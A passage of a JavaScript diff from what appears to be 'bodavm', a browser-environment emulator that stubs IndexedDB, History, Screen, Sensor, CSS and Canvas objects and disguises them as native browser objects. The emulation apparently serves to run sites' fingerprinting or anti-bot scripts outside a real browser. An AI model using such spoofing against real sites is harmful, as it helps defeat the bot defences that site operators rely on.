bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "version", { + configurable: true, + enumerable: true, + get: function version() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "version_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "objectStoreNames", { + configurable: true, + enumerable: true, + get: function objectStoreNames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "objectStoreNames_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "onversionchange", { + configurable: true, + enumerable: true, + get: function onversionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onversionchange_get", arguments); + }, + set: function onversionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onversionchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "createObjectStore", { + configurable: true, + enumerable: true, + writable: true, + value: function createObjectStore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "createObjectStore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "deleteObjectStore", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteObjectStore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "deleteObjectStore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "transaction", { + configurable: true, + enumerable: true, + writable: true, + value: function transaction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "transaction", arguments); + } +}, 'prototype'); +// IDBRequest对象 + +bodavm.memory.globalobj['IDBRequest'] = function IDBRequest() { + console.log_copy('IDBRequest 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBRequest)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBRequest'], "IDBRequest"); +bodavm.memory.globalobj['IDBRequest'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['IDBRequest'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('IDBRequest', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "error_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "source", { + configurable: true, + enumerable: true, + get: function source() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "source_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "transaction", { + configurable: true, + enumerable: true, + get: function transaction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "transaction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "onsuccess", { + configurable: true, + enumerable: true, + get: function onsuccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onsuccess_get", arguments); + }, + set: function onsuccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onsuccess_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onerror_set", arguments); + } +}, 'prototype'); +// IDBOpenDBRequest对象 + +bodavm.memory.globalobj['IDBOpenDBRequest'] = function IDBOpenDBRequest() { + console.log_copy('IDBOpenDBRequest 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBOpenDBRequest)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBOpenDBRequest'], "IDBOpenDBRequest"); +bodavm.memory.globalobj['IDBOpenDBRequest'].prototype.__proto__ = bodavm.memory.globalobj['IDBRequest'].prototype; +bodavm.memory.globalobj['IDBOpenDBRequest'].__proto__ = bodavm.memory.globalobj['IDBRequest']; +bodavm.toolsFunc.defineProperty('IDBOpenDBRequest', "onblocked", { + configurable: true, + enumerable: true, + get: function onblocked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onblocked_get", arguments); + }, + set: function onblocked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onblocked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBOpenDBRequest', "onupgradeneeded", { + configurable: true, + enumerable: true, + get: function onupgradeneeded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onupgradeneeded_get", arguments); + }, + set: function onupgradeneeded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onupgradeneeded_set", arguments); + } +}, 'prototype'); +// IDBFactory对象 + +bodavm.memory.globalobj['IDBFactory'] = function IDBFactory() { + console.log_copy('IDBFactory 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBFactory)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBFactory'], "IDBFactory"); +bodavm.toolsFunc.defineProperty('IDBFactory', "cmp", { + configurable: true, + enumerable: true, + writable: true, + value: function cmp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "cmp", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBFactory', "databases", { + configurable: true, + enumerable: true, + writable: true, + value: function databases() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "databases", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBFactory', "deleteDatabase", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteDatabase() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "deleteDatabase", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBFactory', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "open", arguments); + } +}, 'prototype'); +// History对象 + +bodavm.memory.globalobj['History'] = function History() { + console.log_copy('History 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof History)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['History'], "History"); +bodavm.toolsFunc.defineProperty('History', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "scrollRestoration", { + configurable: true, + enumerable: true, + get: function scrollRestoration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "scrollRestoration_get", arguments); + }, + set: function scrollRestoration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "scrollRestoration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "back", { + configurable: true, + enumerable: true, + writable: true, + value: function back() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "back", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "forward", { + configurable: true, + enumerable: true, + writable: true, + value: function forward() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "forward", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "go", { + configurable: true, + enumerable: true, + writable: true, + value: function go() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "go", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "pushState", { + configurable: true, + enumerable: true, + writable: true, + value: function pushState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "pushState", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('History', "replaceState", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "replaceState", arguments); + } +}, 'prototype'); + +// history对象 + +bodavm.memory.globalobj['history'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['history'].__proto__ = bodavm.memory.globalobj['History'].prototype; +// Screen对象 + +bodavm.memory.globalobj['Screen'] = function Screen() { + console.log_copy('Screen 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Screen)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Screen'], "Screen"); +bodavm.memory.globalobj['Screen'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Screen'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Screen', "availWidth", { + configurable: true, + enumerable: true, + get: function availWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "availHeight", { + configurable: true, + enumerable: true, + get: function availHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "colorDepth", { + configurable: true, + enumerable: true, + get: function colorDepth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "colorDepth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "pixelDepth", { + configurable: true, + enumerable: true, + get: function pixelDepth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "pixelDepth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "availLeft", { + configurable: true, + enumerable: true, + get: function availLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availLeft_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "availTop", { + configurable: true, + enumerable: true, + get: function availTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availTop_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "orientation", { + configurable: true, + enumerable: true, + get: function orientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "orientation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "isExtended", { + configurable: true, + enumerable: true, + get: function isExtended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "isExtended_get", arguments); + }, + set: undefined +}, 'prototype'); + +// screen对象 + +bodavm.memory.globalobj['screen'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['screen'].__proto__ = bodavm.memory.globalobj['Screen'].prototype; +// Sensor对象 + +bodavm.memory.globalobj['Sensor'] = function Sensor() { + console.log_copy('Sensor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Sensor)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Sensor'], "Sensor"); +bodavm.memory.globalobj['Sensor'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Sensor'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Sensor', "activated", { + configurable: true, + enumerable: true, + get: function activated() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "activated_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "hasReading", { + configurable: true, + enumerable: true, + get: function hasReading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "hasReading_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "onreading", { + configurable: true, + enumerable: true, + get: function onreading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onreading_get", arguments); + }, + set: function onreading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onreading_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "onactivate", { + configurable: true, + enumerable: true, + get: function onactivate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onactivate_get", arguments); + }, + set: function onactivate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onactivate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "start", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Sensor', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "stop", arguments); + } +}, 'prototype'); +// CSSStyleDeclaration对象 + +bodavm.memory.globalobj['CSSStyleDeclaration'] = function CSSStyleDeclaration() { + console.log_copy('CSSStyleDeclaration 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSStyleDeclaration)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleDeclaration'], "CSSStyleDeclaration"); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "cssText", { + configurable: true, + enumerable: true, + get: function cssText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssText_get", arguments); + }, + set: function cssText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "parentRule", { + configurable: true, + enumerable: true, + get: function parentRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "parentRule_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "cssFloat", { + configurable: true, + enumerable: true, + get: function cssFloat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssFloat_get", arguments); + }, + set: function cssFloat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssFloat_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "getPropertyPriority", { + configurable: true, + enumerable: true, + writable: true, + value: function getPropertyPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "getPropertyPriority", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "getPropertyValue", { + configurable: true, + enumerable: true, + writable: true, + value: function getPropertyValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "getPropertyValue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "removeProperty", { + configurable: true, + enumerable: true, + writable: true, + value: function removeProperty() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "removeProperty", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "setProperty", { + configurable: true, + enumerable: true, + writable: true, + value: function setProperty() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "setProperty", arguments); + } +}, 'prototype'); +// CanvasRenderingContext2D对象 + +bodavm.memory.globalobj['CanvasRenderingContext2D'] = function CanvasRenderingContext2D() { + console.log_copy('CanvasRenderingContext2D 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CanvasRenderingContext2D)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasRenderingContext2D'], "CanvasRenderingContext2D"); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "canvas", { + configurable: true, + enumerable: true, + get: function canvas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "canvas_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "globalAlpha", { + configurable: true, + enumerable: true, + get: function globalAlpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalAlpha_get", arguments); + }, + set: function globalAlpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalAlpha_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "globalCompositeOperation", { + configurable: true, + enumerable: true, + get: function globalCompositeOperation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalCompositeOperation_get", arguments); + }, + set: function globalCompositeOperation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalCompositeOperation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "filter", { + configurable: true, + enumerable: true, + get: function filter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "filter_get", arguments); + }, + set: function filter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "filter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "imageSmoothingEnabled", { + configurable: true, + enumerable: true, + get: function imageSmoothingEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingEnabled_get", arguments); + }, + set: function imageSmoothingEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingEnabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "imageSmoothingQuality", { + configurable: true, + enumerable: true, + get: function imageSmoothingQuality() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingQuality_get", arguments); + }, + set: function imageSmoothingQuality() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingQuality_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeStyle", { + configurable: true, + enumerable: true, + get: function strokeStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeStyle_get", arguments); + }, + set: function strokeStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeStyle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillStyle", { + configurable: true, + enumerable: true, + get: function fillStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillStyle_get", arguments); + }, + set: function fillStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillStyle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowOffsetX", { + configurable: true, + enumerable: true, + get: function shadowOffsetX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetX_get", arguments); + }, + set: function shadowOffsetX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetX_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowOffsetY", { + configurable: true, + enumerable: true, + get: function shadowOffsetY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetY_get", arguments); + }, + set: function shadowOffsetY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetY_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowBlur", { + configurable: true, + enumerable: true, + get: function shadowBlur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowBlur_get", arguments); + }, + set: function shadowBlur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowBlur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowColor", { + configurable: true, + enumerable: true, + get: function shadowColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowColor_get", arguments); + }, + set: function shadowColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowColor_set", arguments); + } 